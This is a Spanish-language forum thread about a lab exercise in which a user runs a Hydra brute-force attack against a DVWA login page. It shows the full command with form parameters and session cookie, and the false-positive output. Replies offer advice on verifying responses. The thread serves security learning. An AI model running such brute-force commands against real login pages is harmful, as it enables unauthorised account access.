[SOLUCIONADO] Error al ejecutar script Hydra

Hola Mundo.

Estoy realizando un laboratorio, el cual consiste en ejecutar una ataque de fuerza bruta sobre un servidor web.
El servidor web al que quiero atacar tiene la dirección IP 192.168.0.9 y corre la aplicación DVWA. El ataque lo estoy realizando desde KaliLinux con la herramienta Hydra.
El script que estoy utilizando es el siguiente:

root@No tienes permitido ver enlaces. Registrate o Entra a tu cuenta:/# hydra -l admin -P home/diccionarios/diccionario01.txt 192.168.0.9 http-get-form "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: security=lowclear; PHPSESSID=l2c3qk37s5af19tr4kjtnl2qk0" -V

El script se ejecuta correctamente, el problema que tengo, es que me dice que todas las combinaciones de usuario y password son correctas, lo cual no es cierto.

Adjunto la salida total de los comandos:

root@No tienes permitido ver enlaces. Registrate o Entra a tu cuenta:/# hydra -l admin -P home/diccionarios/diccionario01.txt 192.168.0.9 http-get-form "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: security=lowclear; PHPSESSID=l2c3qk37s5af19tr4kjtnl2qk0" -V
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta) starting at 2020-04-10 17:02:14
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries (l:1/p:12), ~1 try per task
[DATA] attacking No tienes permitido ver enlaces. Registrate o Entra a tu cuenta: security=lowclear; PHPSESSID=l2c3qk37s5af19tr4kjtnl2qk0
[ATTEMPT] target 192.168.0.9 - login "admin" - pass "admin" - 1 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.0.9 - login "admin" - pass "pass4word" - 2 of 12 [child 1] (0/0)
[ATTEMPT] target 192.168.0.9 - login "admin" - pass "pass4w0rd" - 3 of 12 [child 2] (0/0)
[ATTEMPT] target 192.168.0.9 - login "admin" - pass "prueba" - 4 of 12 [child 3] (0/0)
[ATTEMPT] target 192.168.0.9 - login "admin" - pass "12345678" - 5 of 12 [child 4] (0/0)
[ATTEMPT] target 192.168.0.9 - login "admin" - pass "11111111" - 6 of 12 [child 5] (0/0)
[ATTEMPT] target 192.168.0.9 - login "admin" - pass "22222222" - 7 of 12 [child 6] (0/0)
[ATTEMPT] target 192.168.0.9 - login "admin" - pass "demo" - 8 of 12 [child 7] (0/0)
[ATTEMPT] target 192.168.0.9 - login "admin" - pass "password" - 9 of 12 [child 8] (0/0)
[ATTEMPT] target 192.168.0.9 - login "admin" - pass "Password" - 10 of 12 [child 9] (0/0)
[ATTEMPT] target 192.168.0.9 - login "admin" - pass "password01" - 11 of 12 [child 10] (0/0)
[ATTEMPT] target 192.168.0.9 - login "admin" - pass "" - 12 of 12 [child 11] (0/0)
[80][http-get-form] host: 192.168.0.9   login: admin   password: Password
[80][http-get-form] host: 192.168.0.9   login: admin   password: pass4word
[80][http-get-form] host: 192.168.0.9   login: admin   password: 12345678
[80][http-get-form] host: 192.168.0.9   login: admin   password: 11111111
[80][http-get-form] host: 192.168.0.9   login: admin   password: 22222222
[80][http-get-form] host: 192.168.0.9   login: admin   password: demo
[80][http-get-form] host: 192.168.0.9   login: admin   password: password
[80][http-get-form] host: 192.168.0.9   login: admin
[80][http-get-form] host: 192.168.0.9   login: admin   password: pass4w0rd
[80][http-get-form] host: 192.168.0.9   login: admin   password: password01
[80][http-get-form] host: 192.168.0.9   login: admin   password: admin
[80][http-get-form] host: 192.168.0.9   login: admin   password: prueba
1 of 1 target successfully completed, 12 valid passwords found
Hydra (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta) finished at 2020-04-10 17:02:15

Realiza una segunda prueba, en este caso usando Burp Suite y efectivamente encontró el usuario y contraseña correctos. Tengo la duda de donde esta el error usando la herramienta Hydra. Agradezco mucho si alguien me puede ayudar o guía a encontrar el error.

Saludos.

Mire el siguiente enlace: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Puede ver muchos con una simple búsqueda en Google: hydra falsos positivos kali linux

Verá el porqué da falsos positivos, es mejor crear una herramienta que analice el mismo código HTML generado y en base a ello determinar si es correcto o no.

Por ejemplo con un script simple que envíe peticiones con credenciales erroneas el servidor podría devolver "error", mientras que cuando sea correcto devuelva "good!" o algo así (es un ejemplo).

Palabras clave a usar en Google: python beautifulsoup tutorial

~ DtxdF

Use la hydra que trae el WifiSlax.